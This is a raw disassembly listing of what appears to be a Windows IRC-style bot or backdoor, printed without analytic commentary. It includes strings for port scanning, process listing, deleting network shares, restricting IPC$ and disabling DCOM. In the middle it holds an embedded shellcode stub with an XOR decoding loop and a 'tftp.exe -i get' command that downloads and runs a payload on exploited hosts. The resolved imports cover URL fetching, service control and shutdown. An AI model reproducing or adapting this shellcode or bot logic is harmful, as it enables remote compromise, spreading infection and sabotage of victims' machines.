aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40F190+3Bo
align 4
dword_42DA04 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40F2C4+ABo
dd 2029206Ch, 2BBBB02h
aSServerSMessag db ' %s <Server: %S> <Message: %S>',0
dword_42DA40 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40F2C4+81o
dd 2029206Ch, 2BBBB02h
aMessageSentSuc db ' Message sent successfully.',0
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: seg000:0040F50Do
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: seg000:0040F447o
; seg000:0040F58Bo
align 4
dword_42DA9C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40F59E:loc_40F625o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai db ' Process list failed.',0
align 4
dword_42DAD4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40F59E+80o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom db ' Process list completed.',0
align 10h
dword_42DB10 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40F59E+19o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
dd 72702067h, 7365636Fh, 3A736573h, 0
aConst db 'const',0
align 10h
dd 0
dword_42DB54 dd 1 off_42DB58 dd offset sub_40F6E3 ; DATA XREF: sub_40FA4E+49r
aLetter db 'letter',0
align 8
dd 2, 40F741h, 706D6F63h, 2 dup(0)
dd 3, 40F78Eh, 6E756F63h, 797274h, 0
dd 4, 40F82Ch, 736Fh, 2 dup(0)
dd 5, 40F8A1h
dword_42DBAC dd 69257325h, 0 ; seg000:0040F80Do ...
dword_42DBB4 dd 4350h dword_42DBB8 dd 7C7325h ; sub_40FA4E+39o
dword_42DBBC dd 5D73255Bh, 7Chdword_42DBC4 dd 334B32h dword_42DBC8 dd 5D64255Bh, 7325hdword_42DBD0 dd 5D4D5Bh ; sub_40F9AB+57o
unk_42DBD4 db 2 ; DATA XREF: sub_40FAB7+92o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0
unk_42DC10 db 2 ; DATA XREF: sub_40FB84+41o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0
align 10h
dword_42DC50 dd 1D4C0h align 8
off_42DC58 dd offset dword_42DC90 ; DATA XREF: sub_40FC75+1B3o
align 10h
dd offset dword_42DC88
align 8
dd offset dword_42DC84
dd offset dword_42DC80
dd offset dword_42DC7C
dd offset dword_42DC78
dword_42DC78 dd 5C3A44h ; seg002:0042DC74o
dword_42DC7C dd 2444h dword_42DC80 dd 5C3A43h dword_42DC84 dd 2443h dword_42DC88 dd 494D4441h, 244Ehdword_42DC90 dd 24435049h, 0 unk_42DC98 db 2 ; DATA XREF: sub_40FC75+2E5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_42DCDC db 2 ; DATA XREF: sub_40FC75+2CFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aNetworkSharesD db ' Network shares deleted.',0
align 4
unk_42DD18 db 2 ; DATA XREF: sub_40FC75:loc_40FED7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0
align 4
unk_42DD58 db 2 ; DATA XREF: sub_40FC75+25Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0
align 10h
unk_42DD90 db 2 ; DATA XREF: sub_40FC75:loc_40FE44o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0
align 10h
unk_42DDD0 db 2 ; DATA XREF: sub_40FC75+1C8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0
align 4
unk_42DE08 db 2 ; DATA XREF: sub_40FC75:loc_40FDA7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_42DE4C db 2 ; DATA XREF: sub_40FC75:loc_40FDA0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0
align 4
unk_42DE9C db 2 ; DATA XREF: sub_40FC75:loc_40FD82o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aRestrictedAcce db ' Restricted access to the IPC$ Share.',0
align 4
unk_42DEE4 db 2 ; DATA XREF: sub_40FC75+106o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_40FC75+EDo
align 4
unk_42DF48 db 2 ; DATA XREF: sub_40FC75+91o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToOpenDc db ' Failed to open DCOM registry key.',0
align 4
dword_42DF8C dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_40FC75:loc_40FCE2o
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh
dd 6C626173h, 2E6465h
unk_42DFBC db 2 ; DATA XREF: sub_40FC75+66o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aDisableDcomFai db ' Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_40FC75+54o
align 10h
word_42E000 dw 4Eh ; DATA XREF: sub_40FC75+38r
align 4
jmp short loc_42E008
; ---------------------------------------------------------------------------
loc_42E006: ; CODE XREF: seg002:loc_42E008p
jmp short loc_42E00D
; ---------------------------------------------------------------------------
loc_42E008: ; CODE XREF: seg002:0042E004j
call loc_42E006
loc_42E00D: ; CODE XREF: seg002:loc_42E006j
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_42E014: ; CODE XREF: seg002:0042E019j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_42E014
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_42E02A: ; CODE XREF: seg002:0042E02Fj
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_42E02A
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_42E0CC
jnz short loc_42E0B8
retn
; ---------------------------------------------------------------------------
loc_42E0B8: ; CODE XREF: seg002:0042E0B5j
; seg002:0042E0C5j
call near ptr loc_42E0BD+1
loc_42E0BD: ; CODE XREF: seg002:loc_42E0B8p
add [edx+0], ch
call sub_42E0CC
jz loc_42E0B8
retn
; =============== S U B R O U T I N E =======================================
sub_42E0CC proc near ; CODE XREF: seg002:0042E0B0p
; seg002:0042E0C0p
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_42E0CC endp
; ---------------------------------------------------------------------------
align 4
aThreadList db '-[Thread List]-',0
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_410245+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_410245+35o
dword_42E148 dd 0BB0AFEh align 10h
dword_42E150 dd 173Fh dd 9875h, 9873h
dd offset sub_410D81
dd offset nullsub_2
dd offset nullsub_2
dword_42E168 dd 1B3Fh dword_42E16C dd 19930520h, 4 dup(0) ; sub_411286+2o
off_42E180 dd offset sub_4125D8 ; DATA XREF: sub_412ADE+1Cr
dword_42E184 dd 2 ; sub_417C59+46r ...
off_42E188 dd offset aNull_0 ; DATA XREF: sub_412C3C:loc_412FA0r
; sub_412C3C+457r
; "(null)"
off_42E18C dd offset aNull ; DATA XREF: sub_412C3C+259r
; "(null)"
off_42E190 dd offset word_42E19A ; DATA XREF: sub_4109F4+23r
; sub_4109F4:loc_410A55r ...
dd offset word_42E19A
db 2 dup(0)
word_42E19A dw 20h ; DATA XREF: sub_4195B0+18r
; seg002:off_42E190o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_42E39C dd 1 ; sub_4109F4:loc_410A40r ...
byte_42E3A0 db 2Eh ; DATA XREF: sub_41496B:loc_4149ABr
; sub_4149C5+4r ...
align 4
dd 1, 10h
dword_42E3AC dd 3F8h ; sub_41237F+4Dr ...
dword_42E3B0 dd 14h off_42E3B4 dd offset aExp ; DATA XREF: sub_4146B4:loc_4146D1r
; "exp"
dd 1Dh, 41C784h, 1Ah, 41C780h, 1Bh, 41C778h, 1Fh, 41C770h
dd 13h, 41C768h, 21h, 41C760h, 0Eh, 41C758h, 0Dh, 41C750h
dd 0Fh, 41C748h, 10h, 41C740h, 5, 41C738h, 1Eh, 41C734h
dd 12h, 41C730h, 20h, 41C72Ch, 0Ch, 41C724h, 0Bh, 41C71Ch
dd 15h, 41C714h, 1Ch, 41C70Ch, 19h, 41C704h, 11h, 41C6FCh
dd 18h, 41C6F4h, 16h, 41C6ECh, 17h, 41C6E4h, 22h, 41C6E0h
dd 23h, 41C6DCh, 24h, 41C6D8h
dbl_42E488 dq 1.797693134862316e308 ; DATA XREF: sub_4143EF+B7r
; sub_4143EF:loc_4144D6r ...
dd 0
dd 0FFF80000h
dbl_42E498 dq 1.797693134862316e308 ; DATA XREF: sub_4143EF+92r
; sub_4143EF:loc_4144AEr ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_42E4B0 dt 2.3562723457267347066e313 ; DATA XREF: sub_41489C+Dr
; sub_41489C+1Fr
align 4
tbyte_42E4BC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41489C+31r
align 4
off_42E4C8 dd offset sub_414D30 ; DATA XREF: sub_410D99+Fw
; sub_412C3C+3AAr
off_42E4CC dd offset sub_4149C5 ; DATA XREF: sub_410D99+5w
; sub_412C3C+3E2r
off_42E4D0 dd offset sub_414A2B ; DATA XREF: sub_410D99+14w
; sub_41578D+430r
off_42E4D4 dd offset sub_41496B ; DATA XREF: sub_410D99+1Ew
; sub_412C3C+3CBr
off_42E4D8 dd offset sub_414A13 ; DATA XREF: sub_410D99+28w
off_42E4DC dd offset sub_414D30 ; DATA XREF: sub_410D99+32w
dd offset sub_41891C
align 10h
dd offset sub_4155EC
off_42E4F4 dd offset sub_4155EC ; DATA XREF: sub_415642+29r
dword_42E4F8 dd 0D2D0920h, 5Dhdword_42E500 dd 5Dh, 0 byte_42E508 db 1 ; DATA XREF: sub_416DE3+E1r
db 2, 4, 8
align 10h
dword_42E510 dd 3A4h dword_42E514 dd 82798260h, 21h, 0dword_42E520 dd 0DFA6h align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_42E600 dd 1 ; sub_41724D+Co
dword_42E604 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_42E768 dd 0C0000005h ; sub_4174BF+Ar ...
dword_42E76C dd 0Bh dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_42E7E0 dd 3 ; sub_41A044+C8r
dword_42E7E4 dd 7 ; sub_41A044+CDr
dword_42E7E8 dd 0Ah ; sub_41A171+4r
dword_42E7EC dd 8Ch ; seg000:0041740Dw ...
dword_42E7F0 dd 0FFFFFFFFh, 0A00h ; sub_4164EB:loc_41656Co
dword_42E7F8 dd 2 ; sub_417C59+28r
off_42E7FC dd offset aR6002FloatingP ; DATA XREF: sub_417C59+FCr
; sub_417C59+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 41CAA4h, 9, 41CA78h, 0Ah, 41CA54h, 10h, 41CA28h
dd 11h, 41C9F8h, 12h, 41C9D4h, 13h, 41C9A8h, 18h, 41C970h
dd 19h, 41C948h, 1Ah, 41C910h, 1Bh, 41C8D8h, 1Ch, 41C8B0h
dd 78h, 41C8A0h, 79h, 41C890h, 7Ah, 41C880h, 0FCh, 41F6ACh
dd 0FFh, 41C870h
off_42E888 dd offset dword_45FB40 ; DATA XREF: sub_417C59+1Bo
; seg000:00418018o
align 10h
dd offset dword_45FB40
dd 101h
dword_42E898 dd 0FFFFFFFFh, 0 dd 1000h, 0
dword_42E8A8 dd 3 dup(0) ; sub_4172B4+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_42E8C8 dd 3 dup(0) ; sub_4172B4:loc_4172D2o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_42E8F8 dd 84h dup(0) dword_42EB08 dd 2694h ; sub_4140A4+46r ...
align 10h
dword_42EB10 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_42EB28 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_42EB40 dd 7080h ; seg000:00418BE0w ...
dword_42EB44 dd 1 ; seg000:00418C0Dw ...
dword_42EB48 dd 0FFFFF1F0h ; seg000:00418C16w ...
dword_42EB4C dd 545350h, 0Fh dup(0)dword_42EB8C dd 544450h, 0Fh dup(0)off_42EBCC dd offset dword_42EB4C ; DATA XREF: seg000:00418C3Cr
; seg000:00418C5Br ...
off_42EBD0 dd offset dword_42EB8C ; DATA XREF: seg000:00418C76r
; seg000:00418C9Dr ...
align 8
dword_42EBD8 dd 0FFFFFFFFh ; sub_418DE0+1Er ...
dword_42EBDC dd 0 ; sub_418F8C+BFw
dword_42EBE0 dd 0 ; sub_418F8C+E0w
align 8
dword_42EBE8 dd 0FFFFFFFFh ; sub_418DE0+26r ...
dword_42EBEC dd 0 ; sub_418F8C+EAw ...
dword_42EBF0 dd 0 ; sub_418F8C+23r ...
dword_42EBF4 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_42EC24 dd 16Dh ; sub_418F8C+2Er ...
dword_42EC28 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_42EC60 dd 2 dup(0) dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_42EDC0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_41A599+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_42EF20 dd offset off_41CC94 ; DATA XREF: seg001:off_41CCB8o
; seg001:0041CDE4o ...
align 8
a_?avexception@ db '.?AVexception@@',0
off_42EF38 dd offset off_41CC94 ; DATA XREF: seg001:off_41CCD0o
; seg001:0041CD64o ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_42EF58 dd offset off_41CC94 ; DATA XREF: seg001:off_41CCE8o
; seg001:0041CD2Co ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_42EF78 dd offset off_41CC94 ; DATA XREF: seg001:off_41CD70o
; seg001:0041CDB4o ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_42EF98 dd offset off_41CC94 ; DATA XREF: seg001:off_41CDF0o
; seg001:0041CE2Co
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_41891C
dd 10Ah dup(0)
dword_42F3DC dd 2 dup(0) dword_42F3E4 dd 0 ; seg000:0040E180o ...
dword_42F3E8 dd 0 ; sub_4048A1+74o ...
dword_42F3EC dd 0 ; sub_403790+51r ...
dword_42F3F0 dd 0 ; sub_40318D+6Bw ...
align 8
dword_42F3F8 dd 0 ; sub_4053D6+92w ...
dword_42F3FC dd 0 ; sub_40550F+2EDw ...
dd 256h dup(0)
dword_42FD58 dd 6 dup(0) ; sub_40550F+138o ...
dword_42FD70 dd 0 ; seg000:004050FCo
dword_42FD74 dd 41h dup(0) dword_42FE78 dd 41h dup(0) dword_42FF7C dd 0 ; seg000:0040510Er
dword_42FF80 dd 0 dword_42FF84 dd 0 ; seg000:004050C9r
dword_42FF88 dd 20h dup(0) ; seg000:004050B4o
dword_430008 dd 0 dword_43000C dd 0 ; seg000:004050C1w
dword_430010 dd 0 align 8
dword_430018 dd 0 ; seg000:00405328o
dword_43001C dd 0A2h dup(0) dword_4302A4 dd 41h dup(0) dword_4303A8 dd 0 ; seg000:004052DBr
align 10h
dword_4303B0 dd 0 ; seg000:0040533Ar
dword_4303B4 dd 0 dword_4303B8 dd 0 dword_4303BC dd 0 dd 0
dword_4303C4 dd 0 dword_4303C8 dd 0 ; seg000:0040521Bo
dword_4303CC dd 41h dup(0) dword_4304D0 dd 41h dup(0) dword_4305D4 dd 0 ; seg000:0040522Dr
dword_4305D8 dd 0 dword_4305DC dd 0 dword_4305E0 dd 20h dup(0) ; seg000:004051D3o
dword_430660 dd 0 dword_430664 dd 0 ; seg000:004051E0w
dword_430668 dd 0 align 10h
dword_430670 dd 77F16E6Fh ; resolved to->GDI32.DeleteDC ; sub_405D8E+473r
dword_430674 dd 7C864230h ; resolved to->KERNEL32.Module32First ; seg000:0040F4E2r
dword_430678 dd 42C5AE03h ; resolved to->WININET.InternetGetConnectedStateExA ; sub_405D8E+808r ...
dword_43067C dd 5B894364h ; sub_405D8E+9BEr ...
dword_430680 dd 5B86FEB8h ; sub_405D8E+98Er ...
dword_430684 dd 77F15B80h ; resolved to->GDI32.SelectObject ; sub_405D8E+463r
dword_430688 dd 5B894160h ; sub_405D8E+9B6r ...
dword_43068C dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_405D8E+34Fr ...
dword_430690 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA ; sub_40799C+11Er
dword_430694 dd 77DF3238h ; resolved to->ADVAPI32.StartServiceA ; sub_405D8E+357r ...
dword_430698 dd 77DFCF32h ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_40E9DB+ADr
dword_43069C dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet ; sub_405D8E+4E2w
dword_4306A0 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_405D8E+D2r ...
dword_4306A4 dd 5B86FDE8h ; sub_405D8E+981r ...
dword_4306A8 dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_405D8E+36Fr ...
dword_4306AC dd 42C41384h ; resolved to->WININET.InternetCrackUrlA ; sub_405D8E+834r
dword_4306B0 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_405D8E+27Cr
dword_4306B4 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_405D8E+82Cr ...
dword_4306B8 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequencydword_4306BC dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_405D8E+83Cr
dword_4306C0 dd 71AC0979h ; resolved to->WS2_32.WSAAsyncSelect ; sub_405D8E+4D5w ...
dword_4306C4 dd 7C863F58h ; resolved to->KERNEL32.Process32Next ; sub_405D8E+CAr ...
dword_4306C8 dd 76D64B79h ; resolved to->IPHLPAPI.IcmpSendEcho ; seg000:004075F5r
dword_4306CC dd 76F3798Ah ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_405D8E+A13r ...
dword_4306D0 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_405D8E+F2r
dword_4306D4 dd 77F1AC3Dh ; resolved to->GDI32.GetDIBColorTable ; sub_405D8E+45Br
dword_4306D8 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_405D8E+57Ew ...
dword_4306DC dd 5B8A3009h ; sub_405D8E+9AEr
dword_4306E0 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_405D8E+6DCr
dword_4306E4 dd 71B25099h dword_4306E8 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; sub_405D8E+7F5r
dword_4306EC dd 7E45A045h ; resolved to->USER32.ExitWindowsEx ; sub_4070B7+15r
